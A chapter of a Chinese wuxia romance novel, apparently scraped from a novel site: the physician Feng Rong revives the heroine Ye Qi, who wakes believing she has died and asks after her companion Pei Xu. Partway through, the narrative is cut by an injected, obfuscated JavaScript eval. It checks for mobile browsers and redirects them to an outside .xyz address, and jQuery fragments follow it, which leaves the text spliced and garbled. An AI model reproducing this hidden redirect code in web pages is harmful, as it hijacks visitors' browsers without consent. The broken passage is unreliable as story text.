“唰!”“唰!”“唰!”
一阵破空声响,秃鹫身子一歪,发出尖利的鸣叫,掉过头拼命扑扇翅膀,转眼飞得见不到影子。
远处,三片绿叶轻飘飘落下,叶子边缘沾着几根绒羽。
“老的是情种,小的也是情种。瞎跑什么!害得我好找。”
丰荣活动着手腕,骂骂咧咧走来,蹲下身,伸出三指探向男子的左腕。
男子仰躺在地,双目微合,脸色灰败得没有一丝生气。
“居然还没死透。”
丰荣不耐地收回手,撩起衣摆席地而坐,又从怀中掏出一个白玉瓶。
沙地顿时响起“窸窸窣窣”的声音,不一会儿,蝎虫蜥蚁冒出头,似是被白玉瓶吸引,密密麻麻爬来。
丰荣扬手一挥,粉色轻雾飘飘洒洒,落下来的瞬间,它们闪电般又缩了回去。
虫跑完了,到处都是沙子,他等得有些无聊,便将目光重新投向身侧的人。
真气散尽,内外功皆破,箭透心肺,毒素已渗体。
既夺元气,又阻气血循环。
丰荣视线偏移,落在血肉模糊的手腕。
可血流殆尽,还需要什么循环。
下毒的家伙若是知道,闭脉饮血和力竭放血,是为数不多能抑制同渡八寒的方法,一定会后悔得捶胸顿足。
丰荣幸灾乐祸地笑出声,良久,又陷入沉默。
晚霞漫天,日落西山。
他望着潋滟的流云,回忆起年少往事,不禁摇头低叹。
也不知上官和老薛整日争什么,刀刀剑剑,哪有情字杀人。
又过了不知多久,身旁的呼吸终于断绝。
丰荣睁开双眼,快速拔掉玉瓶的塞子,一股奇异的香气随着冰雾流了出来。
沙地开始鼓动,似是有庞然巨物要破土而出。
丰荣食指中指并拇指托住男子的下颌,用力一掰,同时将瓶口抵在他的嘴边。
墨绿色的光流一闪而过,丰荣将男子的嘴一合,香气消散,沙地又恢复寂静。
他站起身拍掉衣摆的沙土,又活动了一下手腕脚腕,拉住男子的胳膊,一把将人甩上肩膀。
肩膀瞬间一沉,丰荣双腿打颤,向前踉跄几步才稳住身体。
他赶忙气沉丹田,提住一口气纵步飞跨,边跑边骂:“臭小子比死丫头重多了!”
*
叶起被人抱在怀中,漫天大雪让她觉得暖烘烘轻飘飘的,内心更是从未有过的平静。
“叶起……叶起……叶起……”
她向后仰着脸,雪落满那人的乌发,乍一看仿若白头。
叶起笑道:“姓裴的,你总叫我干嘛?”
凤眼盛着月光,温柔地垂下来。
“因为喜欢。”
叶起一乐,在他怀里转了个身,双臂搂住他的脖子,得意道:“那也是我更喜欢你!”
白雪纷纷,月光如水,无数的红梅夹着雪花,落在仙姿玉貌的人身上。
旁边的篝火发出噼啪声响,烤羊肉的香气伴着梅香不断飘来。
叶起正琢磨这会是不是该吃舌头了,就听一男一女的声音带着笑意。
“叶起!”“序儿。”
她顿时眼睛一亮,急忙转过身。
“师傅!裴前辈!”
还有一道瘦削的身影,睁着一双眼睛瞪她。
叶起惊喜地跳了起来,道:“老家伙!你终于肯离开那鸟不拉屎的山洞啦!”
她目光越过三位长辈,笑容顿时更灿烂。
阿雪温柔地笑,小金摇扇走来,小嫣满脸愁容,拉着快要打起来的段前辈和燕前辈……
所有人都在,他们走到篝火旁,开始边跳边唱歌。
叶起高兴坏了,拽过身旁人就往热闹的人群跑去。
“姓裴的!咱们也要跳!”
一声感叹带着几分戏谑。
“叶少侠真是生龙活虎。”
叶起扭过头,月光下的人笑盈盈,嘴角扬起一抹无奈。
她眯起眼,快步上前亲了他一口,果然见那如月堆雪的脸红了起来。
“你的脸皮绝对没我厚!哈哈哈哈哈……”
嘹亮的笑声回荡在寂静的夜空。
快乐满溢胸腔,几乎要从喉咙蹦出来。
叶起唇角轻扬,缓缓睁开了眼。
没有雪、没有花、没有篝火,大家都不在。
只有一阵亮白的光线刺来。
她赶忙抬手挡住眼,感受到脑袋枕着的柔软,有些恍惚地转过脸。
简朴的木屋在视线中倒转,木屋门旁的架子上摆满了竹编篓和陶瓷罐,屋中心阳光最好的地方,悬挂着几串风干的花草,随着微风轻轻晃动。
屋内陈设简单,只有一条书案,案上的书纸凌乱地散落,角落还有一个小香炉,飘出袅袅轻烟。
一缕清淡的药香,混着草木的气息隐入鼻端。
叶起缓慢地眨眨眼,瞬间福至心灵一骨碌坐起身。
没死?!
刚骨碌起来,她不禁一怔,身体轻盈内力充沛,好像有使不完的劲。
再一看身上套了件白森森的薄衣,柔软舒适,尺寸居然正好。
她扒拉开衣襟低头一看,胸口的皮肤光洁,居然连个疤都没有。
叶起顿住,将衣衫重新理好,默默叹了口气。
果然还是死了。
再妙手回春,也不可能让她感觉跟重生了似的。
胸口更是完好无损,根本看不出来受过伤。
还有这惨白的衣服,分明是话本子里游魂穿的那种。
叶起摇摇头,舒展开四肢,伸了个懒腰。
书页被清风吹得翻动,屋内静谧一片,只有潺潺流水声和清脆的鸟鸣。
方方正正的窗户,框住五彩斑斓的山,和山下一汪清凌凌的湖。
构成一幅令人心旷神怡的画卷。
叶起摸着下巴暗暗点头,没想到地府环境这么好,早知道早点下来玩了。
她脑海中突然灵光一现,如果找到黑白无常,应当可以向他们打听人间事吧?
打定主意,一个鹞子翻身从床铺跳到小屋正中,抬脚就要往外跑,却听到“咚”地一声。
叶起疑惑地转过身,一只钱袋静静躺在地上。
边缘卷起毛边,月白色已经泛黄,一看便知用了很多年。
这不是姓裴的钱袋吗?!
叶起惊地跑回去,打开一看,钱袋里装着一些碎银和十来张银票,还有两枚紫金玉牌。
是他的东西,可是……地府应当不能有人间的东西吧?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546400|171151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
各种猜测滑过脑海,她迟疑地伸出手,使劲掐了把大腿,顿时“嗷”一嗓子蹦起来,疼得直抽气。
疼痛感越来越强烈,阳光透过窗户洒在身上,突然拂过一阵风,吹得发丝在脸上乱动,带起阵阵痒意。
“我还活着……真的没死……”
叶起愣了会神,过了好半天,唇角忍不住翘了起来,还没笑出声,目光又落回手中的钱袋。
她笑容一僵,急忙环视木屋,空间不大,布局摆设尽收眼底,一眼看去再无旁人。
钱袋在掌心发烫,胸口怦怦乱跳,叶起拔腿就往外跑。
刚跑到门边,眼前闪过一道人影,她冲得太猛一头撞了上去。
“砰!”
“啊!”
“赶着投胎啊!”
叶起被撞得倒退了好几步,稳住脚步抬头看去,来人气血红润,须发尽白,一身湖绿色短打,腰间系着湖绿滚银边腰带,同色绑腿扎得紧紧的,干净利落。
若不是中气十足的怒吼,如何都无法将眼前清矍绝俗的老头,和刚才那声大骂联系在一起。
闻着满屋药香,还有连疤痕都消失的伤,叶起心下一动,试探道:“医仙丰荣?”
老头捂着头瞪圆了眼,一脸警惕:“想干嘛?”
叶起眼睛一亮,手往自己头上一举,又拉直头发,急道:“前辈,送我来的人在哪?就是这么高,头发这么长,长得特别好看的那个!他到这几天了?是不是内力耗得太多?我都说了让他慢点的,他现在……”
“他早死了!”
丰荣没好气地回道,一边揉着脑袋上的大包,一边暗骂死丫头头怎么这么硬。
刚醒过来就这么闹腾,早知道该扔进玉蟾泉喂鱼!
上官都收的什么徒儿,这性子学北冥刀法能学好吗?
叽叽喳喳比后院的鸡还要吵!
嗯?怎么没动静了?
丰荣纳闷地抬起头,面前的人神情呆滞,双目空洞,紧紧攥着一个钱袋,嘴唇颤抖刚要说些什么,血就顺着嘴角溢了出来。
丰荣脸色大变,飞步上前,左手中指无名指抵在掌心,掐了个三清指,连点她印堂、膻中、气海,三大命门穴位,同时掏出一枚绿色的药丸,捏开她的嘴,抬手就塞了进去。
“没死!活得比你好!”
心疼那粒九转回还丹,丰荣甩开袖子气得胸口疼。
一个二个都是情种,麻烦死了!
叶起怔了怔,过了好半晌,喃喃道:“真的?”
丰荣没理她,径直走到柜子前,翻出件靛蓝色长袍扔给叶起,然后背过手往屋外走。
“跟上。”
叶起回过神,赶紧抹了把脸,边套衣服边追上去。
小院里栽着大片雪白的银叶菊,紫藤萝花爬满了篱笆,藤蔓下有一片四四方方的药圃,整整齐齐种着人参、何首乌、灵芝、金银花等珍稀药材。
有个小女孩正蹲在边上,仔细打量着那些奇花异草。
丰荣大步流星,像没看见小女孩一样,出了小屋直奔院外。
叶起以为那是他的徒儿,又焦心裴序,匆匆跟她打了个招呼。
小女孩没听见似的一动不动,等两人走远了,依然出神地盯着花,仿佛那上面有新奇的东西,只是别人不知道。